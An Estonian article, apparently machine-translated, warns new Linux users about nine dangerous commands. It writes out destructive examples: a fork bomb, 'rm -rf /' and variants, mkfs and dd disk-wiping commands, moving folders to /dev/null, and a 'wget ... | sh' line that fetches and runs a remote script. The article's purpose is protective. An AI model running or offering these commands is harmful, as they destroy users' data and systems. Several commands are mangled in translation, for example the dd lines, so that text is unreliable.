9 Linuxi käsud ja koodid, mida tuleb hoolikalt jälgida
Linuxi shell / terminali käsud on väga võimsad ja lihtsalt lihtne käsk võib põhjustada ühe kausta, failide või juurkausta kustutamise jne.
Mõnel juhul ei küsi Linux isegi kinnitust, vaid täidab kohe käsu, põhjustades teile kaotada väärtuslikke andmeid ja teavet salvestatud nendesse failidesse ja kaustadesse.
On tavaline, et inimesed postitavad veebis sisu soovitada uutel Linuxi kasutajatel neid käske täita. See võib tunduda naljana keegi, kes on selle sisu postitanud, kuid teisel poolel pole selle jaoks naeruväärne.
Oleme kogunud mõned Linuxi käsud, mis on teie süsteemile üsna kahjulikud, et aidata teil neid vältida. Pidage meeles, et nad on tõepoolest ohtlikud ja uusi käske saab isegi muuta mitmel viisil tekitada rohkem kahju.
Oluline on see märkida mõned neist käskudest on ainult ohtlikud, kui need on eesliidestatud sudoga Ubuntu. Kuigi teistel Linuxi levitustel on enamik antud käske ohtlikuks, kui root.
Heitke pilk 9 käsku ja koodi, mida tuleks vältida.
1. Linux Fork Bomb Command
: () : |: & ;:
tuntud ka kui Fork Bomb on teenusepakkuja rünnak Linuxi süsteemi vastu. : () : |: & ;:
on bash-funktsioon. Pärast täitmist, see kordub mitu korda, kuni süsteem külmub.
Sellest saab vabaneda ainult süsteemi taaskäivitamisega. Nii et ole ettevaatlik selle käsu täitmisel oma Linuxi kestal.
2. mv kaust / dev / null Käsk
mv kaust / dev / null
on teine riskantne käsk. Null / null
või null-seade
on seadme fail, mis kõrvaldab kõik sellele kirjutatud andmed, kuid teatab, et kirjutamistoiming on edukalt teostatud. Seda tuntakse ka kui natuke nihutatud või must auk.
3. rm -rf käsk
rm -rf
käsk on kiire viis kausta ja selle sisu kustutamiseks Linuxi operatsioonisüsteemis. Kui te ei tea, kuidas seda korralikult kasutada, võib see süsteemis väga ohtlikuks muutuda. Allpool on loetletud rm-rf-käsku kõige tavalisemad kombinatsioonid ja valikud.
rm
käsku kasutatakse failide kustutamiseks Linuxis.rm -f
käsk eemaldab kausta kirjutuskaitstud failid ilma nõudmata.rm -r
käsk kustutab kausta sisu rekursiivselt.rm -d
käsku kasutatakse tühja kataloogi eemaldamiseks, kuid see keeldub kataloogi eemaldamisest, kui see pole tühi.rm -rf /
käsku kasutatakse sund kustutamiseks (see kustutab selle isegi siis, kui see on kirjutuskaitsega kaitstud) kõigist juurkataloogi ja alamkaustade sisust.rm -rf *
käsku kasutatakse kogu praeguse kataloogi sisu (kataloog, mida te praegu töötate) ja alamkataloogide sunnitud kustutamiseks.rm -rf.
käsku kasutatakse kõigi praeguse kausta ja alamkaustade sisu sundlikuks kustutamiseks. Therm -r. [^.] *
saab kasutada ka käsku.rm -i
käsku kasutatakse failide ja kaustade eemaldamiseks, kuid enne eemaldamist ilmub käsk.
4. mkfs käsk
mkfs
võib olla teie Linuxi süsteemile ohtlik käsk, kui te ei tea selle otstarvet. Midagi, mis on kirjutatud pärast mkfs vormistamist ja asendamist tühja Linuxi failisüsteemiga.
Kõik allpool nimetatud käsud vormindavad kõvaketta ja vajavad administraatori õigusi:
mkfs
mkfs.ext3
mkfs.bfs
mkfs.ext2
mkfs.minix
mkfs.msdos
mkfs.reiserfs
mkfs.vfat
Käsk mkfs.cramfs
teeb sama, mis ülaltoodud, kuid ei nõua administraatori õigusi.
5. Tar Bomb
The tõrv
käsku kombineeritakse mitu faili üheks failiks (arhiveeritud fail) .tõrv vormingus. Selle käsuga saab luua lindi arhiivi (tar) pommi.
see on arhiivifail, mis plahvatab tuhandetesse või miljonitesse failidesse praeguste kataloogide olemasolevate failidega sarnaste nimedega selle asemel, et uut kataloogi, kui seda ei kasutata.
Sa võid vältida tõrvapommi ohvriks saamist luues korrapäraselt uue kaitsekataloogi, kui sa saad tar-faili ja seejärel liigutatakse vastuvõetud tar-fail sellesse kataloogi enne tühistamist.
Kui tõrvafail on tõepoolest tõrvepomm, siis saate lihtsalt eemaldatud äsja loodud kataloogi eemaldada. Teine viis tõrva pommi plahvatuse vältimiseks on läbi the -t
võimalus loetleda terve tõrvafaili sisu anda teile ettekujutus tar-failis sisalduva sisu tüübist.
6. dd käsk
The dd
käsk on harjunud kõvaketta partitsioonide kopeerimine ja teisendamine. Kuid see võib osutuda kahjulikuks, kui määrate vale sihtkoha.
Käsk võib olla üks järgmistest:
dd if = / dev / hda = / dev / hdb
dd if = / dev / hda = / dev / sdb
dd if = midagi = / dev / hda
dd if = midagi = / dev / sda
Järgmine käsk nullib kogu primaarse kõvaketta: dd if = / dev / null = / dev / oli
7. Shelli skripti kood
Keegi võib teid ohverdada annab sulle lingi skriptile ja kinnitab selle allalaadimise ja täitmise. Skript võib sisaldada mõningaid pahatahtlikke või ohtlikke koode. The käsu vorming võib näida välja selline: wget http: // some_malicious_source -O- | sh
. The wget
laadib skripti alla, kui skript käivitab skripti.
8. Pahatahtlik lähtekood
Keegi annab teile lähtekoodi ja palub teil selle kompileerida. Kood võib tunduda tavaline kood, kuid tegelikult on mõned pahatahtlikud koodid varjatud suure lähtekoodiga ja see võib teie süsteemi kahjustada. Et vältida seda tüüpi rünnaku ohvriks langemist, aktsepteerige ja koosta ainult lähtekoodi usaldusväärsetest allikatest.
9. Dekompressioonipomm
Olete saanud tihendatud faili ja teil palutakse väljavõtte see fail, mis näib olevat väga väike, kuid võib olla mõni KB. Tegelikult, see väike suurusega kokkusurutud fail sisaldab väga tihendatud andmeid.
Kui fail on dekompresseeritud, eraldatakse sadu GB andmeid saate oma kõvaketta täita teie süsteemi jõudluse vähendamiseks. Selle olukorra vältimiseks pidage alati meeles, et aktsepteerite usaldusväärsetest allikatest pärinevaid andmeid.